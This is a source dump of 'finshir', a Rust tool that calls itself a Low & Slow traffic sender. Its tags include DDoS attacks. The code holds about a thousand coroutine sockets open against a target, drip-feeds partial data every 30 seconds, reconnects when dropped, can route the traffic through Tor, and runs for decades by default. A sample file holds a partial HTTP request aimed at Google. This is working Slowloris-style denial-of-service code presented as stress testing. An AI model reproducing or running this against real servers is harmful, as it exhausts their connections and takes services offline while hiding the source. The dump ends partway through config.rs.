├── .gitignore
├── ICON.png
├── gallery
├── ERRORS.png
├── VERBOSE.png
└── INITIALISATION.png
├── rustfmt.toml
├── files
├── test.json
└── google.json
├── .idea
├── vcs.xml
├── modules.xml
├── finshir.iml
├── codeStyles
│ └── Project.xml
├── dbnavigator.xml
└── workspace.xml
├── .travis.yml
├── Cargo.toml
├── CONTRIBUTING.md
├── src
├── main.rs
├── logging.rs
├── testing
│ ├── helpers.rs
│ └── mod.rs
└── config.rs
├── CODE_OF_CONDUCT.md
├── README.md
├── Cargo.lock
└── LICENSE
/.gitignore:
--------------------------------------------------------------------------------
1 | /target
2 | **/*.rs.bk
--------------------------------------------------------------------------------
/ICON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/isgasho/finshir/HEAD/ICON.png
--------------------------------------------------------------------------------
/gallery/ERRORS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/isgasho/finshir/HEAD/gallery/ERRORS.png
--------------------------------------------------------------------------------
/gallery/VERBOSE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/isgasho/finshir/HEAD/gallery/VERBOSE.png
--------------------------------------------------------------------------------
/rustfmt.toml:
--------------------------------------------------------------------------------
1 | format_doc_comments = true
2 | wrap_comments = true
3 | format_strings = true
--------------------------------------------------------------------------------
/files/test.json:
--------------------------------------------------------------------------------
1 | [
2 | "abc def g",
3 | "ghi kkl j",
4 | "mno pqr e",
5 | "stu vwx f"
6 | ]
--------------------------------------------------------------------------------
/gallery/INITIALISATION.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/isgasho/finshir/HEAD/gallery/INITIALISATION.png
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | language: rust
2 |
3 | script:
4 | # Turn on the 'nightly' channel to use unstable features
5 | - rustup override set nightly
6 | -
7 | - cargo build --verbose --all
8 | - cargo test --verbose --all
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/files/google.json:
--------------------------------------------------------------------------------
1 | [
2 | "GET / HTTP/1.1\r\n",
3 | "Host: www.google.com",
4 | "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0\r\n",
5 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
6 | "Accept-Language: en-US,en;q=0.5",
7 | "Accept-Encoding: gzip, deflate, br",
8 | "Connection: keep-alive",
9 | "Upgrade-Insecure-Requests: 1",
10 | "Cache-Control: max-age=0",
11 | "TE: Trailers"
12 | ]
--------------------------------------------------------------------------------
/.idea/finshir.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "finshir"
3 | description = "A coroutines-driven Low & Slow traffic sender, written in Rust"
4 | repository = "https://github.com/Gymmasssorla/finshir"
5 | version = "0.1.0"
6 | authors = ["Temirkhan Myrzamadi "]
7 | keywords = ["finshir", "ddos-attacks", "load-generator", "stress-testing", "pentest-tool"]
8 | categories = ["command-line-utilities", "simulation", "network-programming"]
9 | readme = "README.md"
10 | license = "GPL-3.0-only"
11 | edition = "2018"
12 |
13 | [dependencies]
14 | ctrlc = "3.1.2"
15 | structopt = "0.2.15"
16 | humantime = "1.2.0"
17 | time = "0.1.42"
18 | tor-stream = "0.2.0"
19 | may = "0.3.7"
20 | colored = "1.7.0"
21 | log = "0.4.6"
22 | fern = { version = "0.5.8", features = ["colored"] }
23 | serde_json = "1.0.39"
24 | serde = {version = "1.0.90", features = ["derive"] }
25 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing
2 | Since Finshir is a free (in sense of freedom) kind of software, you are always welcome to contribute! Please look through our [code of conduct](https://github.com/Gymmasssorla/finshir/blob/master/CODE_OF_CONDUCT.md) and the liberal [GPLv3 license](https://github.com/Gymmasssorla/finshir/blob/master/LICENSE), under which the product is distributed.
3 |
4 | ## Environment setup
5 | To setup your development environment for contribution, you need to [install the Rust toolchain](https://www.rust-lang.org/tools/install) using one convenient command below:
6 |
7 | ```bash
8 | # Setup all the rust programming language toolchain
9 | curl https://sh.rustup.rs -sSf | sh
10 | ```
11 |
12 | We use the [IntelliJ Rust](https://intellij-rust.github.io/) integrated development environment for comfortable development process. Just install it from the link above (or download [this plugin](https://plugins.jetbrains.com/plugin/8182-rust)) and open the cloned repository using it.
13 |
14 | ## Building and testing
15 | As it should be in correct projects, all the building and testing procedures are performed by [Travis CI](https://travis-ci.com/Gymmasssorla/finshir). But, of course, you can do it by yourself using the following commands:
16 |
17 | ```bash
18 | $ cargo build --verbose --all
19 | $ cargo test --verbose --all
20 | ```
21 |
22 | ## Where to go?
23 | - **[Issues](https://github.com/Gymmasssorla/finshir/issues)** are meant for reporting found bugs and new functionality suggestions. Discussions are welcome too, and I will try to answer you in near future.
24 |
25 | - **[Pulls](https://github.com/Gymmasssorla/finshir/pulls)** are meant for implementing new functionality and fixing bugs. Note that other people can criticize your code, and you should answer them. Also don't forget to run `cargo fmt` before pushing any changes.
26 |
--------------------------------------------------------------------------------
/.idea/codeStyles/Project.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust
2 | // Copyright (C) 2019 Temirkhan Myrzamadi
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU General Public License
15 | // along with this program. If not, see .
16 | //
17 | // For more information see .
18 |
19 | #![feature(result_map_or_else)]
20 |
21 | #[macro_use]
22 | extern crate log;
23 |
24 | use colored::Colorize;
25 | use structopt::StructOpt;
26 |
27 | use crate::config::ArgsConfig;
28 |
29 | mod config;
30 | mod logging;
31 | mod testing;
32 |
33 | fn main() {
34 | setup_ctrlc_handler();
35 |
36 | let config = ArgsConfig::from_args();
37 | title();
38 |
39 | logging::setup_logging(&config.logging_config);
40 | trace!("{:?}", config);
41 |
42 | std::process::exit(testing::run(&config));
43 | }
44 |
45 | fn setup_ctrlc_handler() {
46 | ctrlc::set_handler(move || {
47 | info!("Cancellation from the user has been received. Exiting the program...");
48 | std::process::exit(0);
49 | })
50 | .expect("Error while setting the Ctrl-C handler");
51 |
52 | trace!("The Ctrl-C handler has been configured.");
53 | }
54 |
55 | fn title() {
56 | println!(
57 | " {}",
58 | r" __ _ _ _ ".cyan()
59 | );
60 | println!(
61 | " {}",
62 | r" / _(_)_ __ ___| |__ (_)_ __ ".cyan()
63 | );
64 | println!(
65 | " {}",
66 | r"| |_| | '_ \/ __| '_ \| | '__|".cyan()
67 | );
68 | println!(
69 | " {}",
70 | r"| _| | | | \__ \ | | | | | ".cyan()
71 | );
72 | println!(
73 | " {}",
74 | r"|_| |_|_| |_|___/_| |_|_|_| ".cyan()
75 | );
76 | println!(
77 | " {}",
78 | format!("version {}", structopt::clap::crate_version!())
79 | .red()
80 | .bold()
81 | );
82 | println!(
83 | "{}\n",
84 | "A coroutines-driven Low & Slow traffic sender, written in Rust"
85 | .green()
86 | .underline()
87 | );
88 | }
89 |
--------------------------------------------------------------------------------
/src/logging.rs:
--------------------------------------------------------------------------------
1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust
2 | // Copyright (C) 2019 Temirkhan Myrzamadi
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU General Public License
15 | // along with this program. If not, see .
16 | //
17 | // For more information see .
18 |
19 | use std::io;
20 |
21 | use colored::Colorize;
22 | use fern::colors::{Color, ColoredLevelConfig};
23 | use fern::Dispatch;
24 | use log::{Level, LevelFilter};
25 | use time;
26 |
27 | use super::config::LoggingConfig;
28 |
29 | /// Setups the logging system from `LoggingConfig`. Before this function,
30 | /// neither of log's macros such as `info!` won't work.
31 | pub fn setup_logging(logging_config: &LoggingConfig) {
32 | let colors = ColoredLevelConfig::new()
33 | .info(Color::Green)
34 | .warn(Color::Yellow)
35 | .error(Color::Red)
36 | .debug(Color::Magenta)
37 | .trace(Color::Cyan);
38 | let date_time_format = logging_config.date_time_format.clone();
39 |
40 | Dispatch::new()
41 | .format(move |out, message, record| {
42 | out.finish(format_args!(
43 | "[{level}] [{time}]: {message}",
44 | level = colors.color(record.level()).to_string().underline(),
45 | time = time::strftime(&date_time_format, &time::now())
46 | .unwrap()
47 | .magenta(),
48 | message = message,
49 | ));
50 | })
51 | // Print all debugging information and traces to stderr
52 | .chain(
53 | Dispatch::new()
54 | .filter(move |metadata| match metadata.level() {
55 | Level::Info | Level::Warn | Level::Error => false,
56 | Level::Debug | Level::Trace => true,
57 | })
58 | .chain(io::stderr()),
59 | )
60 | // Print all notifications, warnings, and errors to stdout
61 | .chain(
62 | Dispatch::new()
63 | .filter(move |metadata| match metadata.level() {
64 | Level::Info | Level::Warn | Level::Error => true,
65 | Level::Debug | Level::Trace => false,
66 | })
67 | .chain(io::stdout()),
68 | )
69 | .level(associated_level(logging_config.verbosity))
70 | .level_for("may", LevelFilter::Off)
71 | .apply()
72 | .expect("Applying the fern::Dispatch has failed");
73 | }
74 |
75 | fn associated_level(verbosity: i32) -> LevelFilter {
76 | match verbosity {
77 | 0 => LevelFilter::Off,
78 | 1 => LevelFilter::Error,
79 | 2 => LevelFilter::Warn,
80 | 3 => LevelFilter::Info,
81 | 4 => LevelFilter::Debug,
82 | 5 => LevelFilter::Trace,
83 | _ => panic!("No such verbosity level in existence"),
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as
6 | contributors and maintainers pledge to making participation in our project and
7 | our community a harassment-free experience for everyone, regardless of age, body
8 | size, disability, ethnicity, sex characteristics, gender identity and expression,
9 | level of experience, education, socio-economic status, nationality, personal
10 | appearance, race, religion, or sexual identity and orientation.
11 |
12 | ## Our Standards
13 |
14 | Examples of behavior that contributes to creating a positive environment
15 | include:
16 |
17 | * Using welcoming and inclusive language
18 | * Being respectful of differing viewpoints and experiences
19 | * Gracefully accepting constructive criticism
20 | * Focusing on what is best for the community
21 | * Showing empathy towards other community members
22 |
23 | Examples of unacceptable behavior by participants include:
24 |
25 | * The use of sexualized language or imagery and unwelcome sexual attention or
26 | advances
27 | * Trolling, insulting/derogatory comments, and personal or political attacks
28 | * Public or private harassment
29 | * Publishing others' private information, such as a physical or electronic
30 | address, without explicit permission
31 | * Other conduct which could reasonably be considered inappropriate in a
32 | professional setting
33 |
34 | ## Our Responsibilities
35 |
36 | Project maintainers are responsible for clarifying the standards of acceptable
37 | behavior and are expected to take appropriate and fair corrective action in
38 | response to any instances of unacceptable behavior.
39 |
40 | Project maintainers have the right and responsibility to remove, edit, or
41 | reject comments, commits, code, wiki edits, issues, and other contributions
42 | that are not aligned to this Code of Conduct, or to ban temporarily or
43 | permanently any contributor for other behaviors that they deem inappropriate,
44 | threatening, offensive, or harmful.
45 |
46 | ## Scope
47 |
48 | This Code of Conduct applies both within project spaces and in public spaces
49 | when an individual is representing the project or its community. Examples of
50 | representing a project or community include using an official project e-mail
51 | address, posting via an official social media account, or acting as an appointed
52 | representative at an online or offline event. Representation of a project may be
53 | further defined and clarified by project maintainers.
54 |
55 | ## Enforcement
56 |
57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
58 | reported by contacting the project team at gymmasssorla@gmail.com. All
59 | complaints will be reviewed and investigated and will result in a response that
60 | is deemed necessary and appropriate to the circumstances. The project team is
61 | obligated to maintain confidentiality with regard to the reporter of an incident.
62 | Further details of specific enforcement policies may be posted separately.
63 |
64 | Project maintainers who do not follow or enforce the Code of Conduct in good
65 | faith may face temporary or permanent repercussions as determined by other
66 | members of the project's leadership.
67 |
68 | ## Attribution
69 |
70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
72 |
73 | [homepage]: https://www.contributor-covenant.org
74 |
75 | For answers to common questions about this code of conduct, see
76 | https://www.contributor-covenant.org/faq
77 |
--------------------------------------------------------------------------------
/src/testing/helpers.rs:
--------------------------------------------------------------------------------
1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust
2 | // Copyright (C) 2019 Temirkhan Myrzamadi
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU General Public License
15 | // along with this program. If not, see .
16 | //
17 | // For more information see .
18 |
19 | use std::error::Error;
20 | use std::fmt::{self, Display, Formatter};
21 | use std::fs::File;
22 | use std::io;
23 | use std::path::Path;
24 |
25 | use colored::{ColoredString, Colorize};
26 | use serde_json;
27 |
28 | pub type ReadPortionsResult = Result>, ReadPortionsError>;
29 |
30 | static EMPTY_SPACES_COUNT: usize = 100;
31 |
32 | /// If `file` is some, this function reads data portions from the specified
33 | /// file. Otherwise, it generates empty spaces.
34 | pub fn get_portions>(file: Option
) -> ReadPortionsResult {
35 | if let Some(file) = file {
36 | read_portions(file)
37 | } else {
38 | Ok(gen_portions())
39 | }
40 | }
41 |
42 | /// Extracts data portions from a specified file.
43 | fn read_portions>(path: P) -> ReadPortionsResult {
44 | let file = File::open(path).map_err(ReadPortionsError::ReadFailed)?;
45 |
46 | Ok(serde_json::from_reader::<_, Vec>(file)
47 | .map_err(ReadPortionsError::JsonParseFailed)?
48 | .into_iter()
49 | .map(String::into_bytes)
50 | .collect())
51 | }
52 |
53 | /// Generates empty spaces as default data portions.
54 | fn gen_portions() -> Vec> {
55 | let mut spaces = Vec::with_capacity(EMPTY_SPACES_COUNT);
56 |
57 | for _ in 0..EMPTY_SPACES_COUNT {
58 | spaces.push(vec![' ' as u8]);
59 | }
60 |
61 | spaces
62 | }
63 |
64 | #[derive(Debug)]
65 | pub enum ReadPortionsError {
66 | /// Used when the function cannot read file content.
67 | ReadFailed(io::Error),
68 |
69 | /// Used when the function cannot parse JSON structure.
70 | JsonParseFailed(serde_json::Error),
71 | }
72 |
73 | impl Display for ReadPortionsError {
74 | fn fmt(&self, fmt: &mut Formatter) -> fmt::Result {
75 | match self {
76 | ReadPortionsError::ReadFailed(err) => write!(fmt, "{}", err),
77 | ReadPortionsError::JsonParseFailed(err) => write!(fmt, "{}", err),
78 | }
79 | }
80 | }
81 |
82 | impl Error for ReadPortionsError {}
83 |
84 | pub fn cyan(value: S) -> ColoredString {
85 | value.to_string().cyan()
86 | }
87 |
88 | #[cfg(test)]
89 | mod tests {
90 | use super::*;
91 |
92 | /// Checks that the portions are generated by `gen_portions()`.
93 | fn check_spaces(spaces: Vec>) {
94 | assert_eq!(spaces.len(), EMPTY_SPACES_COUNT);
95 | assert!(spaces.len() <= spaces.capacity());
96 |
97 | for space in spaces {
98 | assert_eq!(space.len(), 1);
99 | assert_eq!(space[0], ' ' as u8);
100 | }
101 | }
102 |
103 | /// Checks that the portions are taken from `files/test.json`.
104 | fn check_file(portions: Vec>) {
105 | assert_eq!(portions.len(), 4);
106 | assert!(portions.len() <= portions.capacity());
107 |
108 | assert_eq!(portions[0].as_slice(), b"abc def g");
109 | assert_eq!(portions[1].as_slice(), b"ghi kkl j");
110 | assert_eq!(portions[2].as_slice(), b"mno pqr e");
111 | assert_eq!(portions[3].as_slice(), b"stu vwx f");
112 | }
113 |
114 | /// The `get_options()` function must choose the right variants.
115 | #[test]
116 | fn gets_portions() {
117 | check_file(get_portions(Some("files/test.json")).expect("Failed to parse JSON"));
118 | check_spaces(get_portions::<&str>(None).expect("get_portions(none) failed"));
119 | }
120 | }
121 |
--------------------------------------------------------------------------------
/src/testing/mod.rs:
--------------------------------------------------------------------------------
1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust
2 | // Copyright (C) 2019 Temirkhan Myrzamadi
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU General Public License
15 | // along with this program. If not, see .
16 | //
17 | // For more information see .
18 |
19 | use std::io::{self, Write};
20 | use std::num::NonZeroUsize;
21 | use std::os::unix::io::{FromRawFd, IntoRawFd};
22 | use std::time::Instant;
23 |
24 | use humantime::format_duration;
25 | use may::{self, coroutine, go};
26 | use tor_stream::TorStream;
27 |
28 | use crate::config::{ArgsConfig, SocketConfig, TesterConfig};
29 |
30 | mod helpers;
31 |
32 | type StdSocket = std::net::TcpStream;
33 | type MaySocket = may::net::TcpStream;
34 |
35 | /// This is the key function which accepts `ArgsConfig` and spawns all
36 | /// coroutines, returning 0 on success and 1 on failure.
37 | pub fn run(config: &ArgsConfig) -> i32 {
38 | let portions = match helpers::get_portions(config.portions_file.as_ref()) {
39 | Err(err) => {
40 | error!("Failed to parse the JSON >>> {}!", err);
41 | return 1;
42 | }
43 | Ok(res) => res,
44 | };
45 | let portions: Vec<&[u8]> = portions.iter().map(Vec::as_slice).collect();
46 |
47 | warn!(
48 | "Waiting {} and then spawning {} coroutines connected through the {}.",
49 | helpers::cyan(format_duration(config.wait)),
50 | helpers::cyan(config.connections),
51 | if config.tester_config.socket_config.use_tor {
52 | "Tor network"
53 | } else {
54 | "regular Web"
55 | }
56 | );
57 | std::thread::sleep(config.wait);
58 |
59 | coroutine::scope(|scope| {
60 | let portions = &portions;
61 | let config = &config;
62 | let iters = config.connections.get();
63 |
64 | for _ in 0..iters {
65 | go!(scope, move || run_tester(&config.tester_config, portions));
66 | }
67 |
68 | info!("All the coroutines have been spawned.");
69 | });
70 |
71 | return 0;
72 | }
73 |
74 | fn run_tester(config: &TesterConfig, portions: &[&[u8]]) {
75 | let start = Instant::now();
76 |
77 | loop {
78 | let mut socket: MaySocket = connect_socket(&config.socket_config);
79 |
80 | for &portion in portions {
81 | if start.elapsed() >= config.test_duration {
82 | info!("The allotted time has expired. Exiting the coroutine...");
83 | return;
84 | }
85 |
86 | match send_portion(&mut socket, portion, config.failed_count) {
87 | SendPortionResult::Success => {
88 | info!(
89 | "{} byte(s) have been sent. Waiting {}...",
90 | helpers::cyan(portion.len()),
91 | helpers::cyan(format_duration(config.write_periodicity))
92 | );
93 | }
94 | SendPortionResult::Failed(err) => {
95 | error!(
96 | "Sending {} byte(s) failed {} times >>> {}! Reconnecting the socket...",
97 | helpers::cyan(portion.len()),
98 | helpers::cyan(config.failed_count),
99 | err,
100 | );
101 | break;
102 | }
103 | }
104 |
105 | coroutine::sleep(config.write_periodicity);
106 | }
107 |
108 | info!("All the data portions have been sent. Reconnecting the socket...");
109 | }
110 | }
111 |
112 | #[derive(Debug)]
113 | enum SendPortionResult {
114 | Success,
115 | Failed(io::Error),
116 | }
117 |
118 | fn send_portion(
119 | socket: &mut MaySocket,
120 | portion: &[u8],
121 | failed_count: NonZeroUsize,
122 | ) -> SendPortionResult {
123 | let res = {
124 | for _ in 0..(failed_count.get() - 1) {
125 | match socket.write_all(portion) {
126 | Ok(_) => return SendPortionResult::Success,
127 | Err(err) => {
128 | error!(
129 | "Failed to send {} byte(s) >>> {}! Retrying the operation...",
130 | helpers::cyan(portion.len()),
131 | err
132 | );
133 | continue;
134 | }
135 | }
136 | }
137 |
138 | match socket.write_all(portion) {
139 | Ok(_) => SendPortionResult::Success,
140 | Err(err) => SendPortionResult::Failed(err),
141 | }
142 | };
143 |
144 | socket
145 | .flush()
146 | .map_or_else(SendPortionResult::Failed, |_| res)
147 | }
148 |
149 | fn connect_socket(config: &SocketConfig) -> MaySocket {
150 | loop {
151 | match try_connect_socket(config) {
152 | Ok(socket) => {
153 | info!("A new socket has been connected.");
154 | return socket;
155 | }
156 | Err(err) => {
157 | error!(
158 | "Failed to connect a socket >>> {}! Retrying the operation...",
159 | err
160 | );
161 | continue;
162 | }
163 | }
164 | }
165 | }
166 |
167 | fn try_connect_socket(config: &SocketConfig) -> io::Result {
168 | let socket = if config.use_tor {
169 | TorStream::connect(config.receiver)?.unwrap()
170 | } else {
171 | StdSocket::connect_timeout(&config.receiver, config.connect_timeout)?
172 | };
173 |
174 | // We send packets quite rarely (the default is 30secs), so the Nagle algorithm
175 | // doesn't help us
176 | socket
177 | .set_nodelay(true)
178 | .expect("Cannot disable TCP_NODELAY");
179 |
180 | socket.set_write_timeout(Some(config.write_timeout))?;
181 |
182 | if let Some(val) = config.ip_ttl {
183 | socket.set_ttl(val)?;
184 | }
185 |
186 | unsafe { Ok(MaySocket::from_raw_fd(socket.into_raw_fd())) }
187 | }
188 |
--------------------------------------------------------------------------------
/src/config.rs:
--------------------------------------------------------------------------------
1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust
2 | // Copyright (C) 2019 Temirkhan Myrzamadi
3 | //
4 | // This program is free software: you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation, either version 3 of the License, or
7 | // (at your option) any later version.
8 | //
9 | // This program is distributed in the hope that it will be useful,
10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | // GNU General Public License for more details.
13 | //
14 | // You should have received a copy of the GNU General Public License
15 | // along with this program. If not, see .
16 | //
17 | // For more information see .
18 |
19 | use std::error::Error;
20 | use std::fmt::{self, Display, Formatter};
21 | use std::net::SocketAddr;
22 | use std::num::{NonZeroUsize, ParseIntError};
23 | use std::path::PathBuf;
24 | use std::time::Duration;
25 |
26 | use humantime::parse_duration;
27 | use structopt::StructOpt;
28 |
29 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)]
30 | #[structopt(
31 | author = "Temirkhan Myrzamadi ",
32 | about = "A coroutines-driven Low & Slow traffic sender, written in Rust",
33 | after_help = "By default, Finshir generates 100 empty spaces as data portions. If you want to \
34 | override this behaviour, consider using the `--portions-file` option.\n\nFor \
35 | more information see .",
36 | set_term_width = 80
37 | )]
38 | pub struct ArgsConfig {
39 | /// A waiting time span before test execution used to prevent a launch of an
40 | /// erroneous (unwanted) test
41 | #[structopt(
42 | short = "w",
43 | long = "wait",
44 | takes_value = true,
45 | value_name = "TIME-SPAN",
46 | default_value = "5secs",
47 | parse(try_from_str = "parse_duration")
48 | )]
49 | pub wait: Duration,
50 |
51 | /// A file consisting of a custom JSON array of data portions, specified as
52 | /// strings
53 | #[structopt(
54 | short = "f",
55 | long = "portions-file",
56 | takes_value = true,
57 | value_name = "LOCATION"
58 | )]
59 | pub portions_file: Option,
60 |
61 | /// A number of connections the program will handle simultaneously. This
62 | /// option also equals to a number of coroutines
63 | #[structopt(
64 | short = "c",
65 | long = "connections",
66 | takes_value = true,
67 | value_name = "POSITIVE-INTEGER",
68 | default_value = "1000",
69 | parse(try_from_str = "parse_non_zero_usize")
70 | )]
71 | pub connections: NonZeroUsize,
72 |
73 | #[structopt(flatten)]
74 | pub tester_config: TesterConfig,
75 |
76 | #[structopt(flatten)]
77 | pub logging_config: LoggingConfig,
78 | }
79 |
80 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)]
81 | pub struct SocketConfig {
82 | /// A receiver of generator traffic, specified as an IP address and a port
83 | /// number, separated by a colon
84 | #[structopt(
85 | short = "r",
86 | long = "receiver",
87 | takes_value = true,
88 | value_name = "SOCKET-ADDRESS"
89 | )]
90 | pub receiver: SocketAddr,
91 |
92 | /// If a timeout is reached and a socket wasn't connected, the program will
93 | /// retry the operation later.
94 | ///
95 | /// Note that this option currently doesn't work on sockets which are trying
96 | /// to connect through Tor.
97 | #[structopt(
98 | long = "connect-timeout",
99 | takes_value = true,
100 | value_name = "TIME-SPAN",
101 | default_value = "30secs",
102 | parse(try_from_str = "parse_duration")
103 | )]
104 | pub connect_timeout: Duration,
105 |
106 | /// If a timeout is reached and a data portion wasn't sent, the program will
107 | /// retry the operation later
108 | #[structopt(
109 | long = "write-timeout",
110 | takes_value = true,
111 | value_name = "TIME-SPAN",
112 | default_value = "30secs",
113 | parse(try_from_str = "parse_duration")
114 | )]
115 | pub write_timeout: Duration,
116 |
117 | /// Torify all sockets by connecting to a SOCKS5 proxy running on
118 | /// 127.0.0.1:9050
119 | #[structopt(long = "use-tor")]
120 | pub use_tor: bool,
121 |
122 | /// Specifies the IP_TTL value for all future sockets. Usually this value
123 | /// equals a number of routers that a packet can go through
124 | #[structopt(long = "ip-ttl", takes_value = true, value_name = "UNSIGNED-INTEGER")]
125 | pub ip_ttl: Option,
126 | }
127 |
128 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)]
129 | pub struct TesterConfig {
130 | /// A time interval between writing data portions. This option can be used
131 | /// to modify test intensity
132 | #[structopt(
133 | long = "write-periodicity",
134 | takes_value = true,
135 | value_name = "TIME-SPAN",
136 | default_value = "30secs",
137 | parse(try_from_str = "parse_duration")
138 | )]
139 | pub write_periodicity: Duration,
140 |
141 | /// A number of failed data transmissions used to reconnect a socket to a
142 | /// remote web server
143 | #[structopt(
144 | long = "failed-count",
145 | takes_value = true,
146 | value_name = "POSITIVE-INTEGER",
147 | default_value = "5",
148 | parse(try_from_str = "parse_non_zero_usize")
149 | )]
150 | pub failed_count: NonZeroUsize,
151 |
152 | /// A whole test duration, after which all spawned coroutines will stop
153 | /// their work
154 | #[structopt(
155 | short = "d",
156 | long = "test-duration",
157 | takes_value = true,
158 | value_name = "TIME-SPAN",
159 | default_value = "64years 64hours 64secs",
160 | parse(try_from_str = "parse_duration")
161 | )]
162 | pub test_duration: Duration,
163 |
164 | #[structopt(flatten)]
165 | pub socket_config: SocketConfig,
166 | }
167 |
168 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)]
169 | pub struct LoggingConfig {
170 | /// Enable one of the possible verbosity levels. The zero level doesn't
171 | /// print anything, and the last level prints everything
172 | #[structopt(
173 | short = "v",
174 | long = "verbosity",
175 | takes_value = true,
176 | value_name = "LEVEL",
177 | default_value = "3",
178 | possible_value = "0",
179 | possible_value = "1",
180 | possible_value = "2",
181 | possible_value = "3",
182 | possible_value = "4",
183 | possible_value = "5"
184 | )]
185 | pub verbosity: i32,
186 |
187 | /// A format for displaying local date and time in log messages. Type `man
188 | /// strftime` to see the format specification
189 | #[structopt(
190 | long = "date-time-format",
191 | takes_value = true,
192 | value_name = "STRING",
193 | default_value = "%X",
194 | parse(try_from_str = "parse_time_format")
195 | )]
196 | pub date_time_format: String,
197 | }
198 |
199 | fn parse_time_format(format: &str) -> Result {
200 | // If the `strftime` call succeeds, then the format is correct
201 | time::strftime(format, &time::now())?;
202 | Ok(String::from(format))
203 | }
204 |
205 | fn parse_non_zero_usize(number: &str) -> Result {
206 | let number: usize = number.parse().map_err(NonZeroUsizeError::InvalidFormat)?;
207 |
208 | NonZeroUsize::new(number).ok_or(NonZeroUsizeError::ZeroValue)
209 | }
210 |
211 | #[derive(Debug, Clone, PartialEq, Eq)]
212 | enum NonZeroUsizeError {
213 | InvalidFormat(ParseIntError),
214 | ZeroValue,
215 | }
216 |
217 | impl Display for NonZeroUsizeError {
218 | fn fmt(&self, fmt: &mut Formatter) -> fmt::Result {
219 | match self {
220 | NonZeroUsizeError::InvalidFormat(error) => write!(fmt, "{}", error),
221 | NonZeroUsizeError::ZeroValue => write!(fmt, "The value equals to zero"),
222 | }
223 | }
224 | }
225 |
226 | impl Error for NonZeroUsizeError {}
227 |
228 | #[cfg(test)]
229 | mod tests {
230 | use super::*;
231 |
232 | // Check that ordinary formats are passed correctly
233 | #[test]
234 | fn parses_valid_time_format() {
235 | let check = |format| {
236 | assert_eq!(
237 | parse_time_format(format),
238 | Ok(String::from(format)),
239 | "Parses valid time incorrectly"
240 | )
241 | };
242 |
243 | check("%x %X %e");
